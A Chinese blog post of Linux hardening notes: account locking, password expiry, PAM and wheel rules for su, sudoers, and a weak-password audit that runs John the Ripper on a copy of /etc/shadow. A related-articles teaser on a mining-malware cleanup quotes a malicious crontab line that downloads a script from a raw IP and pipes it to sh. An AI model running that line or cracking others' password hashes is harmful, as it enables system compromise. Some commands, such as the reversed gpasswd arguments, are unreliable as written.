系统安全及应用11
一个新的服务器到手之后,部署服务器的初始化
1、配置IP地址 网关 dns解析(static)内网和外网
2、安装源外网(在线即可),内网(只能用源码包编译安装)
3、磁盘分区,lvm raid阵列
4、系统权限配置和基础的安全加固
本章主要是系统权限配置和基础的安全加固
一、系统安全:
1、(核心)保护数据安全。例如客户信息,财务信息。
2、互联网,网络业务服务,必须要通过工信部的资质审核。
3、保护品牌形象。信息安全是红线。
二、账号安全控制
1、不需要或者不想登录的用户设置为nologin
将t1用户设置为nologin
[root@localhost ~]# usermod -s /sbin/nologin t1
2、锁定用户
- usermod -L 用户 上锁
- usermod -U 用户 解锁
- passwd -l 用户 上锁
- passwd -u用户 解锁
3、删除无用账号
- userdel -r 用户 (连同家目录删除)
4、锁定重要的文件
对文件锁定,以及对多个文件锁定,解锁,查看
三、密码安全控制
设置密码有效期
1、新建用户
修改/etc/login.defs 目录下第25行 PASS_MAX_DAYS修改天数一般默认99999,修改成所需天数即可且已有用户的密码有效期不受影响,修改后source改目录让其生效。
2、 已有用户
使用chage -M 天数 用户名进行修改。
3、强制用户在下一次登录的时候修改密码
使用chage -d 0 用户名
四、限制命令的历史记录
history 查看历史。
1、临时清除
history -c 临时清除信息,重启后还有一部分。
2、永久清除
修改/etc/profile配置文件HISTSIZE默认1000,一般清理保留60-100的命令行,修改后source改目录让其生效。
五、设置登录的超时时间
修改/etc/profile配置文件,增加一行 TMOUT=10 10秒内没有操作退出,正常生产中设置10分钟TMOUT =600(600秒),修改后source改目录让其生效。
六、对切换用户进行限制
1、su切换用户
su 用户名 (不推荐)不会更改环境变量,用的还是之前用户的shell,不完全切换
su - 用户名,使用 用户自己的环境
如果在root用户下,su相当于刷新
普通用户下,su相当于返回root
2、限制用户使用su命令:
A、PAM概述
PAM安全认证:linux系统身份认证的架构,提供了一种标准的身份认证的接口,允许管理员自定义认证的方式和方法。
一般遵循的顺序:Service(服务)---->PAM(配置文件)--->pam_*.so
PAM认证是一个可插拔式默认。
PAM安全认证流程 :
- required:一票否决,只有成功才能认证通过,认证失败,也不会立刻结束,只有所有的要素验证完整才会最终返回结果,必要条件。
- requisite:一票否决,只有成功才能通过,但是一旦失败,其他要素不再验证,立刻结束,必要条件。
- sufficient:一票否决,成功之后就是满足条件,但是失败了,也可忽略,成功了执行验证成功的结果,失败返回验证失败的结果,最终的结果。充分条件。
- optional:选项 反馈给用户的提示或者结果。
- 控制位,必须要满足充分和必要条件才能通过。
PAM认证类型:
- 认证模块严重用户的身份,基于密码的认证
- 授权模块 控制用户对系统资源的访问,文件去权限进程的权限
- 账户管理块,普通用户账号信息,密码过期策略,账号锁定策略
- 会话管理块,管理用户会话,注销用户
例如:passwd t1 三次机会,第三次跳出
B、wheel概述
- wheel:又称为wheel组,这个组文件当中没有,隐藏,特殊组。用来控制系统管理员的权限的一个特殊组。
- wheel组专门来为root服务,
- 如果普通用户组加入到whee组,就可以拥有管理员才能够执行的一些权限。
- 前面必须要加上sudo sudo之后可以使用wheel组的特殊权限
- wheel组默认是空的,没有任何成员,需要管理员账号手动添加。
- 配置sudo的规则,然后以sudo的方式才能够运行特定的指令(管理员才能够执行的权限)
- wheel组的权限很大,配置的时候要以最小权限的原则进行配置。
su控制用户
编辑/etc/pam.d/配置目录心下的su
vim /etc/pam.d/su
取消前面注释符号(插拔方式)
给普通用户dn test2 加入组wheel,t1不加
gpasswd -a wheel dn
gpasswd -a wheel test2
查看
谁在这个wheel组中可以切换,不在无法切换
七、 给普通用户使用管理员权限
sudo(最小权限,管理员可以使用的命令)用哪个给那个
修改/ect/sudoers,在102行 增加 dn ALL=(root) 绝对路径 dn为普通用户 绝对路径可以使用whereis查看命令的绝对路径
并将108行,111行注释加##
不需要source让其生效
dn用户可以使用root所有权限 。
八、gurb菜单加密
gurb2-setpassword 设置密码
九、弱口令扫描工具
将压缩包拉如opt目录下
先将依赖环境安装好
[root@localhost john-1.8.0]# yum -y install gcc gcc-c++ make
将etc目录下的shadow复制到opt目录下,改名为shadow.txt
[root@localhost src]# cp /etc/shadow /opt/shadow.txt
切换到压缩中的run目录下执行john文件
[root@localhost run]# ./john /opt/shadow.txt #./执行
展示结果 破解出本机弱口令并破解简单密码
相关文章:

系统安全及应用11
一个新的服务器到手之后,部署服务器的初始化 1、配置IP地址 网关 dns解析(static)内网和外网 2、安装源外网(在线即可),内网(只能用源码包编译安装) 3、磁盘分区,lvm …...

vue中SKU实现
通过发送请求获取商品详情数据,包括商品规格(specs)和库存信息(skus)。 选中状态更新:根据当前状态进行激活或取消激活的逻辑,通过为每个规格项添加的“selected”字段来标识是否激活,同时利用样式处理,通过动态类属性…...

闭眼推荐的,新手教师工具
亲爱的老师们,尤其是那些刚踏入教育界的新手教师们,还在为如何高效管理课堂、如何制作精美的教学材料而头疼吗?让我来分享几款教育界口碑爆棚的工具。 易查分小程序 易查分是一款超级方便的成绩查询工具,一分钟就能上传成绩并生成…...

charles抓包工具之---添加vConsole
Charles Rewrite重写(详解!必懂系列)-CSDN博客 chales 重写/断点/映射/手机代理/其他主机代理_charles 批量映射-CSDN博客 在 Charles 上添加 rewrite 规则,以便在响应的 <head> 部分添加 vConsole,可以按照以下步骤操作:…...

Java多线程-初阶1
博主主页: 码农派大星. 数据结构专栏:Java数据结构 数据库专栏:MySQL数据库 JavaEE专栏:JavaEE 关注博主带你了解更多数据结构知识 1. 认识线程(Thread) 1.线程是什么 ⼀个线程就是⼀个 "执⾏流". 每个线程之间都可以按照顺序执⾏⾃⼰的代…...

C++二级指针的指向与解引用
本文算是作者对于二级指针学习的一些总结或者说是刨根问底,如果有表述错误,还请各位大神指正。 我们首先定义一个整型a,令a 5,再分别定义指针p和二级指针ptr int a 5; int *p &a; int **ptr &p;我们不妨假设a的地址是…...

Pandas处理时间差的4种表达方式
在Pandas中处理时间差(timedelta)时,有多种方式可以表达时间差。以下是总结的Pandas时间差的四种主要表达方式和相关信息: 目录 一、使用pd.Timedelta直接创建 二、使用DataFrame中计算时间差 三、转换为分钟数表示 四、使用…...

C语言---指针part2
指针操作 一维 字符数组 1. 字符型数组 --- 存放字符串的 char s[] "hello"; [h ] <---0x1000 [e ] [l ] [l ] [o ] [\0] //谁能这块空间的地址 --- 数组名 s --->怎么能保存s所代表的地址值 //s数组名 --- 数组首元素的地址 &s[0] --->地…...

DNS域名
DNS域名 DNS是域名系统的简称 域名和ip地址之间的映射关系 互联网中,ip地址是通信的唯一标识 访问网站,域名,ip地址不好记,域名朗朗上口,好记。 域名解析的目的就是为了实现,访问域名就等于访问ip地址…...

19 - 查询结果的质量和占比(高频 SQL 50 题基础版)
19 - 查询结果的质量和占比 -- round(avg(rating<3)*100,2)round(avg(if(rating<3,1,0))*100,2) select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage fromQueries group byquery_name;...

一次挖矿病毒的排查过程
目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务: * * * * * wget -q -O - http://1…...

【JMeter接口测试工具】第二节.JMeter基本功能介绍(上)【入门篇】
文章目录 前言一、获取所有学院信息接口执行二、线程组的介绍 2.1 并发和顺序执行 2.2 优先和最后执行线程组 2.3 线程组的设置细节三、HTTP请求的介绍四、查看结果树的配置使用总结 前言 一、获取所有学院信息接口执行 我们先针对一条简单的接口进行执行&#…...

ultralytics solutions快速解决方案,快速实现某些场景的图像解决方案
参考: https://docs.ultralytics.com/solutions/ 在不断更新,已经有一些场景的解决方案 ultralytics 8.2.27 一、区域统计 1、自定义区域统计数量 https://docs.ultralytics.com/guides/region-counting/ 1、自定义画框,比如矩形框四个点的坐标获取 通过cv2点击图片获…...

iphone突然黑屏?3种方法解决问题!
iphone突然黑屏这应该是出现了iOS系统故障。一般来说,无摔落、浸水等情况造成设备出现硬件问题,多半是设备出现了系统故障。 虽然苹果iOS系统性能是较优的,但还是可能因各种使用情况出现不一样的iOS系统问题,包括升级、越狱、安装…...

nn.GRU和nn.GRUCell区别
nn.GRU和nn.GRUCell在PyTorch中都是用于实现门控循环单元(Gated Recurrent Unit, GRU)的模块,但它们之间存在一些区别: 输入维度: nn.GRU是一个完整的GRU层,它接受一个3D输入张量(batch_size, seq_length, input_size),输出也是一个3D张量(batch_size, seq_length, hidden_si…...

Coolmuster Android助手评测:简化Android到电脑的联系人传输
产品概述 Coolmuster Android助手是一款旨在简化Android设备与计算机之间数据管理和传输过程的全面工具。它以用户友好的界面和全面的功能,成为寻求高效数据管理解决方案的Android用户的热门选择。 主要特点和功能Coolmuster Android助手拥有一系列使其成为管理Andr…...

【杂记-webshell恶意脚本木马】
一、webshell概述及分类 概述 webshell,通常作为web应用管理工具,运维人员可以通过 webshell (服务器管理工具)针对 web 服务器进行日常的运维管理以及系统上线更新等,攻击者也可以通过 webshell (后门程序…...

锻炼 精读笔记 01
元数据 [!abstract] 锻炼 书名: 锻炼作者: 丹尼尔利伯曼简介: 我们是为休息而生,还是为跑而生? 跑步会毁了你的膝盖吗? 哪种运动项目蕞适合我? 懒惰是不正常的行为吗? 每晚都需要睡够 8 个小时…...

基于pytorch的车牌识别
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 一、导入数据 from torchvision.transforms import transforms from torch.utils.data import DataLoader from torchvision import datase…...

红酒:如何避免红酒过度氧化
红酒过度氧化是影响其品质的重要因素,尤其是在储存和运输过程中。过度氧化的红酒会失去原有的果香和口感,变得平淡无味。因此,避免红酒过度氧化至关重要。以下是一些进一步的措施,可以帮助您保护云仓酒庄雷盛红酒的品质࿱…...

FreeRTOS学习笔记-基于stm32(9)信号量总结(二值信号量、计数型信号量、互斥信号量、优先级翻转、优先级继承)
一、什么是信号量 信号量是一种队列,用于任务间同步和资源管理的机制,主要用来传递状态。就像是一种特殊的“旗子”或“钥匙”,用来在不同的任务之间进行沟通和协调,确保它们能够正确地配合工作,不会互相干扰。 二、二…...

归并排序——二路归并排序
目录 1、简述 2、复杂度 3、稳定性 4、例子 1、简述 二路归并排序(Merge Sort)是一种基于分治法的排序算法,通过将数组递归地拆分成两部分,分别排序后再合并,从而实现整个数组的有序。二路归并排序具有稳定性和高…...

java-StringBuilder
StringBuilder 是 Java 中一个重要的类,它提供了可变的字符序列,可以用来高效地执行字符串操作,如拼接、替换和删除等。在 Java 编程中,字符串操作是非常常见的,而 StringBuilder 类为我们提供了简单、高效的方式来完成…...

数据结构 | 超详细讲解七大排序(C语言实现,含动图,多方法!)
目录 编辑 排序的概念 常见排序算法 编辑 1.冒泡排序 🍹图解 🥳代码实现 🤔时间复杂度 2.插入排序 🍹图解 🌴深度剖析 🍎代码思路 🥳代码实现 🤔时间复杂度 3.希尔…...

企业自建邮件系统的优势,安全性更高,功能更灵活,维护更便捷
在当今企业信息管理的浪潮中,企业邮件系统显得尤为关键,它不仅加强了内部的沟通效率,还对外展示了企业的专业形象。然而,传统租用企业邮箱服务存在一些不足,如缺乏灵活性、数据管理混乱和难以实现个性化需求࿰…...

Softing工业助力微软解锁工业数据,推动AI技术在工业领域的发展
一 概览 Softing作为全球先进工业通信解决方案供应商之一,与微软合作共同推出了众多工业边缘产品,以实现工业应用中OT和IT的连接。这些产品可在基于微软Azure云平台的IIoT解决方案中轻松集成和运行,并为AI解锁工业数据,还可通过A…...

企微自动化机器人的应用与前景
一、引言 随着信息技术的飞速发展,企业对于提高内部运营效率、降低人力成本的需求日益迫切。在这样的背景下,企微自动化机器人应运而生,以其高效、便捷的特点,迅速成为企业内部的得力助手。本文将深入探讨企微自动化机器人的应用现…...

从零开始:如何用Electron将chatgpt-plus.top 打包成EXE文件
文章目录 从零开始:如何用Electron将chatgpt-plus.top 打包成EXE文件准备工作:Node.js和npm国内镜像加速下载初始化你的Electron项目创建你的Electron应用运行你的Electron应用为你的应用设置图标打包成EXE文件结语 从零开始:如何用Electron将…...

基于RNN和Transformer的词级语言建模 代码分析 log_softmax
基于RNN和Transformer的词级语言建模 代码分析 log_softmax flyfish Word-level Language Modeling using RNN and Transformer word_language_model PyTorch 提供的 word_language_model 示例展示了如何使用循环神经网络RNN(GRU或LSTM)和 Transformer 模型进行词级语言建模…...

Python爬虫要掌握哪些东西
学习Python爬虫,你需要掌握以下几个关键方面的知识: 文章目录 Python基础:首先,确保你对Python语言有良好的理解,包括基本语法、数据结构(如列表、字典、集合等)、函数、类和对象、模块和包的使用等。# 有一个数字列表,要创建新的列表,元素是原列表中每个元素的平方 …...